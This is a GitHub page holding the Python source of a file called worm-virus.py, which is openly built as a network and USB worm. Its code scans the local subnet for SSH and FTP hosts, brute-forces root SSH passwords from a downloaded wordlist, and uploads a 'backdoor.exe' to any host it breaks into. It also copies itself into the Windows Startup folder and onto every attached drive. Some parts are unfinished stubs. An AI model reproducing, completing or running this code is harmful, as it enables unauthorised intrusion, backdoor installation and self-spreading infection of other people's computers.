-
Notifications
You must be signed in to change notification settings - Fork 15
/
worm-virus.py
190 lines (152 loc) · 5.12 KB
/
worm-virus.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
import nmap
import paramiko
import os
import coloredlogs, logging
import socket
from urllib.request import urlopen
import urllib
import time
from ftplib import FTP
import ftplib
from shutil import copy2
import win32api
import netifaces
# ------------------- Logging ----------------------- #
logger = logging.getLogger(__name__)
coloredlogs.install(level='DEBUG', logger=logger)
# --------------------------------------------------- #
# gets gateway of the network
gws = netifaces.gateways()
gateway = gws['default'][netifaces.AF_INET][0]
def get_private_ip():
"""
Gets private IP address of this machine.
This will be used for scanning other computers on LAN.
Returns:
private IP address
"""
logger.debug("Getting private IP")
ip = socket.gethostbyname(socket.gethostname())
logger.debug("IP: " + ip)
return ip
def get_public_ip():
"""
Gets public IP address of this network.
You can access the router with this ip too.
Returns:
public IP address
"""
logger.debug("Getting public IP")
import re
data = str(urlopen('http://checkip.dyndns.com/').read())
return re.compile(r'Address: (\d+.\d+.\d+.\d+)').search(data).group(1)
def scan_ssh_hosts():
"""
Scans all machines on the same network that
have SSH (port 22) enabled
Returns:
IP addresses of hosts
"""
logger.debug("Scanning machines on the same network with port 22 open.")
logger.debug("Gateway: " + gateway)
port_scanner = nmap.PortScanner()
port_scanner.scan(gateway + "/24", arguments='-p 22 --open')
all_hosts = port_scanner.all_hosts()
logger.debug("Hosts: " + str(all_hosts))
return all_hosts
def scan_ftp_hosts():
"""
Scans all machines on the same network that
have FTP (port 21) enabled
Returns:
IP addresses of hosts
"""
logger.debug("Scanning machines on the same network with port 21 open.")
port_scanner = nmap.PortScanner()
port_scanner.scan(gateway + '/24', arguments='-p 21 --open')
all_hosts = port_scanner.all_hosts()
logger.debug("Hosts: " + str(all_hosts))
return all_hosts
def download_ssh_passwords(filename):
"""
Downloads most commonly used ssh passwords from a specific url
Clearly, you can store passwords in a dictionary, but i found this more comfortable
Args:
filename - Name to save the file as.
"""
# TODO:130 This wordlist contains only few passwords. You would need a bigger one for real bruteforcing. \_(OwO)_/
logger.debug("Downloading passwords...")
url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt"
urllib.request.urlretrieve(url, filename)
logger.debug("Passwords downloaded!")
def connect_to_ftp(host, username, password):
# TODO:30 : Finish this function + Add bruteforcing
try:
ftp = FTP(host)
ftp.login(username, password)
except ftplib.all_errors as error:
logger.error(error)
pass
def connect_to_ssh(host, password):
"""
Tries to connect to a SSH server
Returns:
True - Connection successful
False - Something went wrong
Args:
host - Target machine's IP
password - Password to use
"""
# TODO:120 Pass usernames to the function too
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
logger.debug("Connecting to: " + host)
client.connect(host, 22, "root", password)
logger.debug("Successfully connected!")
sftp = client.open_sftp()
sftp.put('backdoor.exe', "destination") # change this.
return True
except socket.error:
logger.error("Computer is offline or port 22 is closed")
return False
except paramiko.ssh_exception.AuthenticationException:
logger.error("Wrong Password or Username")
return False
except paramiko.ssh_exception.SSHException:
# socket is open, but not SSH service responded
logger.error("No response from SSH server")
return False
def bruteforce_ssh(host, wordlist):
"""
Calls connect_to_ssh function and
tries to bruteforce the target server.
Args:
wordlist - TXT file with passwords
"""
# TODO:10 : Bruteforce usernames too
file = open(wordlist, "r")
for line in file:
connection = connect_to_ssh(host, line)
print(connection)
time.sleep(5)
def usbspreading():
# TODO:50 : Make this threaded.
bootfolder = os.path.expanduser('~') + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/"
while True:
drives = win32api.GetLogicalDriveStrings()
drives = drives.split('\000')[:-1]
print(drives)
for drive in drives:
if "C:\\" == drive:
copy2(__file__, bootfolder)
else:
copy2(__file__, drive)
time.sleep(3)
def main():
#download_ssh_passwords("passwords.txt")
#for host in scan_ssh_hosts():
#bruteforce_ssh(host, "passwords.txt")
scan_ssh_hosts()
if __name__ == "__main__":
main()